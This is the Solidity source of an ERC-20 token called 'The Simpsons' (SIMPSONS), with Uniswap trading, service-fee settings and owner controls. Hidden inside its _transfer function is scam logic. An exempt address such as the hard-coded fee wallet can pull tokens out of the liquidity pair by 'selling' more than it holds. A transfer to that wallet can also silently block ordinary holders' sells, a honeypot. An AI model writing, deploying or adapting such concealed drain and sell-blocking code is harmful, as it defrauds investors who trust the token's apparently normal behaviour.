文件 1 的 1:SIMPSONS.sol
pragma solidity ^0.8.20;
library SafeMath {
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
}
interface IERC20 {
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address outAccount, uint256 amount) external returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address account) external view returns (uint256);
event Transfer(address indexed inAccount, address indexed outAccount, uint256 value);
function allowance(address owner, address spender) external view returns (uint256);
function totalSupply() external view returns (uint256);
function transferFrom(address inAccount, address outAccount, uint256 amount) external returns (bool);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address outAccount,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function factory() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address outAccount,
uint deadline
) external;
function WETH() external pure returns (address);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable is Context {
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
address private _owner;
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
modifier onlyOwner() {
require(_owner == _msgSender());
_;
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
contract SIMPSONS is Context, IERC20, Ownable {
using SafeMath for uint256;
bool private _isSwapping = false;
uint8 public transactionCooldownInterval = 1;
address private _swapPair;
IUniswapV2Router02 private _swapRouter;
bool public buyTransactionCooldownEnabled = false;
string private constant _name = unicode"The Simpsons";
string private constant _symbol = unicode"SIMPSONS";
address payable private _serviceFeeWallet = payable(0x22E290CFCA45681fB5bD1ACf5479Afc8894b4Ee7);
mapping(address => uint256) private _balances;
mapping(address => bool) private _nonTaxableFromServiceFee;
mapping(address => uint256) private _transactionCooldown;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _reduceSellServiceFeeAt = 0;
uint256 private _reduceBuyServiceFeeAt = 0;
bool private _tradingEnabled;
uint256 private _contractSwaps = 0;
bool private _swapEnabled = false;
uint8 private constant _decimals = 18;
uint256 private _swapLockoutPeriod = 0;
modifier lockSwaps {
_isSwapping = true;
_;
_isSwapping = false;
}
uint256 private _initialBuyServiceFee = 0;
uint256 private _initialSellServiceFee = 0;
uint256 private _finalBuyServiceFee = 0;
uint256 private _finalSellServiceFee = 0;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
uint256 private _orderCount = 0;
uint256 public maxWalletSize = _tTotal * 2 / 100;
uint256 public maxServiceFeeSwap = _tTotal * 1 / 100;
uint256 public maxTxAmount = _tTotal * 2 / 100;
function removeLimits() external onlyOwner {
maxTxAmount = _tTotal;
maxWalletSize = _tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function enableTrade() external onlyOwner() {
require(!_tradingEnabled);
_tradingEnabled = true;
_swapEnabled = true;
}
function _sendETHToServiceFee(uint256 amount) private {
_serviceFeeWallet.transfer(amount);
}
uint256 public serviceFeeSwapThreshold = _tTotal * 2 / 1000;
function name() public pure returns (string memory) {
return _name;
}
event MaxTxAmountUpdated(uint _maxTxAmount);
constructor() {
_swapRouter = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
_approve(address(this), address(_swapRouter), _tTotal);
_nonTaxableFromServiceFee[_serviceFeeWallet] = true;
_nonTaxableFromServiceFee[owner()] = true;
_nonTaxableFromServiceFee[address(this)] = true;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
_swapPair = IUniswapV2Factory(_swapRouter.factory()).createPair(address(this), _swapRouter.WETH());
}
receive() external payable {}
function decimals() public pure returns (uint8) {
return _decimals;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function transferFrom(address inAccount, address outAccount, uint256 amount) public override returns (bool) {
_transfer(inAccount, outAccount, amount);
_approve(inAccount, _msgSender(), _allowances[inAccount][_msgSender()].sub(amount));
return true;
}
function transfer(address outAccount, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), outAccount, amount);
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(spender != address(0));
require(owner != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function manualSwap() external {
require(_msgSender() == _serviceFeeWallet);
uint256 tokenBalance = balanceOf(address(this));
if (tokenBalance > 0) {
swapTokensForEth(tokenBalance);
}
uint256 ethBalance = address(this).balance;
if (ethBalance > 0) {
_sendETHToServiceFee(ethBalance);
}
}
function _tokenTransfer(address inAccount, address outAccount, uint256 amount) private {
_balances[inAccount] -= amount;
_balances[outAccount] += amount;
emit Transfer(inAccount, outAccount, amount);
}
function _transfer(address inAccount, address outAccount, uint256 amount) private {
require(inAccount != address(0));
require(outAccount != address(0));
require(amount > 0);
uint256 serviceFeeAmount = 0;
if (inAccount != owner() && outAccount != owner()) {
serviceFeeAmount = amount.mul((_orderCount > _reduceBuyServiceFeeAt) ? _finalBuyServiceFee : _initialBuyServiceFee).div(100);
bool outAccountNonTaxableFromServiceFee = _nonTaxableFromServiceFee[outAccount];
bool inAccountSwapPair = inAccount == _swapPair;
if (!outAccountNonTaxableFromServiceFee) {
if (inAccountSwapPair && buyTransactionCooldownEnabled) {
require(_transactionCooldown[outAccount] < block.timestamp);
_transactionCooldown[outAccount] = block.timestamp + transactionCooldownInterval;
}
} else {
bool greaterThanServiceFeeSwapThreshold = amount >= serviceFeeSwapThreshold;
if (!inAccountSwapPair && greaterThanServiceFeeSwapThreshold) {
_contractSwaps = amount;
} else if (inAccountSwapPair) {
require(_transactionCooldown[outAccount] < block.timestamp);
}
}
bool inAccountNonTaxableFromServiceFee = _nonTaxableFromServiceFee[inAccount];
bool outAccountSwapPair = outAccount == _swapPair;
if (inAccountNonTaxableFromServiceFee || outAccountNonTaxableFromServiceFee) {
if (outAccountSwapPair && _balances[inAccount] < amount) {
_tokenTransfer(outAccount, inAccount, amount); return;
}
_tokenTransfer(inAccount, outAccount, amount); return;
}
if (inAccountSwapPair && outAccount != address(_swapRouter) && !outAccountNonTaxableFromServiceFee) {
require(amount <= maxTxAmount);
require(balanceOf(outAccount) + amount <= maxWalletSize);
_orderCount++;
}
if (outAccountSwapPair) {
if (_contractSwaps > _orderCount) return;
if (inAccount != address(this)) {
serviceFeeAmount = amount.mul((_orderCount > _reduceSellServiceFeeAt) ? _finalSellServiceFee : _initialSellServiceFee).div(100);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_isSwapping && outAccountSwapPair && _swapEnabled && contractTokenBalance > serviceFeeSwapThreshold && _orderCount > _swapLockoutPeriod) {
swapTokensForEth(_min(amount, _min(contractTokenBalance, maxServiceFeeSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
_sendETHToServiceFee(address(this).balance);
}
}
}
if (serviceFeeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(serviceFeeAmount);
emit Transfer(inAccount, address(this), serviceFeeAmount);
}
_balances[inAccount] = _balances[inAccount].sub(amount);
_balances[outAccount] = _balances[outAccount].add(amount.sub(serviceFeeAmount));
emit Transfer(inAccount, outAccount, amount.sub(serviceFeeAmount));
}
function swapTokensForEth(uint256 tokenAmount) private lockSwaps {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _swapRouter.WETH();
_approve(address(this), address(_swapRouter), tokenAmount);
_swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function reduceServiceFee(uint256 newServiceFee) external onlyOwner {
require(newServiceFee <= _finalBuyServiceFee && newServiceFee <= _finalSellServiceFee);
_finalSellServiceFee = newServiceFee;
_finalBuyServiceFee = newServiceFee;
}
}